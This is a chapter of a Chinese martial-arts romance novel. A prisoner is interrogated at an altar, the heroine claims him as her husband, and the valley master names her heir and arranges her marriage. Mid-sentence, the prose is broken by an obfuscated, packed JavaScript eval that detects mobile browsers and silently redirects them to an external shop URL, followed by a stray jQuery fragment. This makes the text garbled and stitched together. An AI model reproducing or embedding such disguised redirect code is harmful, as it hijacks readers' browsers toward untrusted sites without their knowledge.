玉辞迈出门的那刻,元禾豁然起身跟了出去。
守在门口的教众无声地向后退开半步,让出一条道来。他没说什么,但视线却不动声色地打量着元禾。
玉辞听着身后细碎的脚步声,并未慢下脚步去迁就身后那个毫无修为的少女。
临近祭坛的青石路湿滑而蜿蜒,玉辞微侧过眸,余光扫过亦步亦趋跟上来的元禾,她一路小跑,早已气喘吁吁。
祭坛到了。
空旷的高台上,几盆熊熊燃烧的火盆呈某种特定的几何图形摆放在祭台边缘,中央的青铜刑柱上,玄铁锁链如同毒蛇攀附一般,紧紧扣住那人的手腕,将他整个人吊起。
那人身上的白衣早已看不出原本的颜色,暗红的血块与灰黑的泥污斑驳交织。
他似乎连站直的力气都被抽干了,双腿无力地拖在地上,全靠手腕上的锁链吊着身体。散乱的长发被冷汗浸透,如同枯草般贴在脸颊上,遮住了那张惨白如纸的面容。
果然就是薛镜怜。
元禾想起他此前决然丢下自己的模样,一时间不知道是该幸灾乐祸,还是物伤其类。
刑堂的教众手持皮鞭,正欲再次挥下,听见身后的脚步声而停下了动作。
玉辞在距离祭坛十步之遥的地方站定,左手抬起,对着高台上的教众做了一个极其细微的下压手势。
教众立刻收鞭退后。
玉辞薄唇轻启,“弄醒他。”
元禾眼睛一瞬不瞬地盯着台上,那个前几天被她捂了一夜救回来的人此时毫无意识的低垂着脑袋,而自己却穿着他的身份,安然无恙。
她毫无办法,只能眼睁睁看着满满一盆冷水,毫不留情地兜头朝着薛镜怜浇下。
水花在青石板上溅起,在那股刺骨的寒意与暴露伤遇水的剧烈刺激下,薛镜怜如同濒死的鱼一般猛地抽搐几下,断断续续地发出几声痛苦难当的闷哼。
元禾几乎是下意识地朝前挪了半步,像是害怕这过于刺激的画面,也像是因为紧张对方而下意识上前。
她的手臂几乎贴在了玉辞的身后,而玉辞却没有回头安抚那个近在咫尺的单薄身影,而是缓缓迈开脚步走上祭坛,玄色锦靴毫不避讳地踩进了斑驳的血水中,在距离男子仅剩几步之遥的地方停下。
玉辞俯视别人的时候,眉峰就会显得尤为锋利,平时的温柔随和一分也看不见了。
他冷冷打量着面前这张作为男人来说过于稠丽的脸,眉峰又蹙紧几分。
“你和藏心谷有何关系?扈叔公疯了几十年,连自己是谁都记不清,偏偏把你掳来……和她成亲?”
他没有像教众那样高声厉呵,而是直击最致命的关窍,方才和元禾的对话里,他已经得知两人是怎么进谷的,那现在问题的关键就变成了扈叔公为什么选择他。
薛镜怜被冷水激得勉强睁开眼,透过散乱的发丝,迎上了那双明摆着不打算放过他的眼睛。
元禾看到薛镜怜眼神的瞬间就心知肚明,他不会说任何事。
无论是因为他现在是男儿身不方便承认自己的身份,还是另有隐情,元禾看不出丝毫他想回答问题的意愿,甚至说,她感觉薛镜怜已经打算破罐破摔……
但元禾终究是因为他的玉佩才免遭于难,她做不到无动于衷。
所以,在玉辞进行下一步动作前,元禾抢先一步冲了出去,挡在薛镜怜面前。
她呼吸十分急促,迎着玉辞明显沉下来的脸色,倔强地张开双臂,像是在做一个不能确定后果却执意为之的决定。
面对明显变得越发紧绷的气氛,元禾毅然决然地喊道,
“是我喜欢他!”
她听见自己的声音在颤抖,
“一切都是我主导的,现在木已成舟,他就是我的夫君!要杀他,先杀我!”
元禾的声音在偌大的祭坛中回荡,周遭陷入一种诡异的寂静。
玉辞唇抿得很紧,漠然颔首,后退几步,正要说什么,一道蓝青色身影破开山谷间的薄雾,稳稳落在祭坛边缘的石阶上。
芊芊轻巧旋身卸去冲力,抬眸扫过眼前剑拔弩张的场面,那个被她捕兽网关了一个的少女正张开双臂护住身后白衣男子,而她面前的玉辞浑身透着森寒杀意。
芊芊眼神在几人身上依次扫过,莫非是师兄终于醒悟,要杀这个来路不明的女子了?
她心思流转,犹豫着把想要禀报的话咽了回去。
而玉辞的余光已经捕捉到她的到来,他缓缓转过头,目光落在芊芊身上,声音冷得和平时两人拌嘴时截然不同。
"何事。"
芊芊因师兄这道过于冷淡的眼神心生不悦,恼怒地移开眼神,强压下心头的难过。
"掌门已经出关,传令即刻带人前往。"
“知道了。先留他一条命。"
玉辞侧过身子,让出走向祭坛下的青石台阶,元禾还僵在原地,保持着张开双臂的姿势,怔怔地望着他。
直到祭台下的芊芊已经不耐烦地重重哼了一声,元禾才后知后觉地朝下走去。
薛镜怜倚靠着刑柱,湿淋淋的长发遮住大半张脸,那双不甚清明的眼睛执拗地盯着元禾背影,丝毫没有注意到玉辞转身时晦暗的眼神。
*
主殿厚重的木门被玉辞推开,元禾随着二人进入殿内。
听见脚步声,原本负手站在祖师画像前的中年男人转过身,视线越过玉辞和芊芊,直直地钉在了落后半步的女孩身上。
这位中年人须发已经花白,样貌还是中年人的模样,他的目光从震惊到不可置信,再逐渐化为一种深切的悲恸。
他往前迈了三大步,几乎是失态地凑近,那双历经风霜的眼睛死死端详着元禾的五官,似乎想要透过那张俏丽的面庞,寻找隔了几十年的光阴,来自一位故人的痕迹。
中年人的眼底迅速泛起一层水光,连带着呼吸都发颤起来。
这种情绪过于丰沛的长久注视让元禾本能地不知所措,她作为冒名顶替者,完全无法共情认亲时的复杂感情,只是下意识想往后退。
玉辞早在一进殿时就拽着芊芊退到了侧边,芊芊懒散地靠着殿内的雕花圆柱,他则单手抱臂,视线掠过自己父亲那失态的老泪纵横,最终落回元禾身上。
元禾那副明明十分局促却又不敢躲的模样,让他突然想起,当初他接住她后,把她摁到自己怀里时,她好像也是这样。
玉辞突然觉得没来由的烦躁。
他长腿一迈,走上前,顺手扯过一把太师椅,“坐下说吧。”
听到儿子这声提醒,中年人这才如梦初醒,仓促地抹了一把眼角,连声应和:“对……对,好孩子,先坐下,快坐下。”
元禾顺势跌坐在宽大的太师椅里,玉辞从她身后走过,没有坐到她身边,而是站到父亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17955227|210388||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身后,那个更方便看到元禾表情的位置。
中年人在右首落座,身体仍旧前倾着,迫不及待却又小心翼翼地开了口:“好孩子,你母亲她……现下如何了?”
元禾嗫嚅着嘴唇,将刚才同玉辞说过的那番话,断断续续地又拼凑了一遍。
然而,元禾预想中的剑拔弩张并未出现,听到“魔教”这两个字,谷主脸上的错愕仅仅停留了极短的一瞬,随后便化作恍然。
他攥紧了太师椅的木扶手,看着元禾,眼底的水光更甚,
“原来如此……原来如此。你既是魔教中人,那便是了。”
谷主重重呼出一口气,似乎陷入了某种悲戚的回忆中,
“当年你外祖身为大国师蒙受冤屈,你母亲玉姑为了给他平反,不惜打破避世的门规,硬生生闯出去。谷内都以为她必死无疑,只有我知道,她是去投奔了瑞月公主……”
他说到这里,看向元禾的目光越发慈爱与笃定:“你能活下来,还在魔教长大,这必定是玉姑当年布下的后路。你是她的骨血,就是这块玉佩真正的主人。”
谷主一番话,在场三个年轻人全都傻眼了,每个人都不敢相信元禾竟然真的是玉姑的孩子,包括元禾自己。
之前黎樱的那番话让她知道原主的母亲在魔教中颇有渊源,现在听谷主说得这么煞有其事,难道……
她竟然真的是藏心谷的人吗?
玉辞听到老头子这番话,眼里也满是意外,当初玉姑出谷时他都尚未出生,直到此时才得知玉姑原来投奔了瑞月公主。
他偏过头,视线在父亲激动得发红的眼眶上扫了一圈,既然确定了她是玉姑的女儿,这也就意味着,这个因为不想当谷主而闭关的老头子绝对不会轻易放元禾离开。
果不其然,下一秒,谷主拂了拂袖袍上并不存在的灰尘,重新在太师椅上坐正,方才老泪纵横的颓态已经全然褪去,取而代之的是一种运筹帷幄的笃定。
他目光扫过祖师画像下长明灯跳动的火苗,开口时声线沉稳了许多,
"当年家师创立藏心谷,衣钵传承本有定数。你母亲既是家师独女,又天资卓绝,心性坚韧,是不二的继承人。"
说到这里,他顿了顿,手掌抚在膝盖上,语气中流露出一丝愧色,
"只因她执意出谷为父平反,掌门之位才由我这个做师兄的暂代。这一代,便代到如今。"
元禾有些恍惚,这些话来得太急、太密,牵扯着她从未听闻过的前尘旧事,她尚且不能确定自己是否就是藏心谷的人,此时老谷主话里的机锋又隐约朝向一个她更加不安的方向。
谷主的目光在元禾脸上且停驻良久,眼里写满了某种终于如释重负的确信,他转过头去,落在自己儿子身上。
玉辞正若有所思地盯着元禾的发旋,感觉到那道视线投过来,抬了抬眼皮,回了一个"看什么"的表情。
谷主的嘴角浮起一抹极淡的笑意,带着一位家长审视自己最大成就时的骄傲,他面向元禾微微颔首,
"辞儿虽脾气硬了些,武学天赋与谋略却是同辈中无出其右的。孩子,你手上的玉佩你应该也看到了,是当年你外祖亲手雕琢的信物,合则成双。玉契便是神明定下的婚契。"
他说到这里,眉眼间的郑重盖过了温情,"如今玉姑的血脉归谷,掌门之位理应物归原主。掌门大典与婚仪,便一同操办罢。"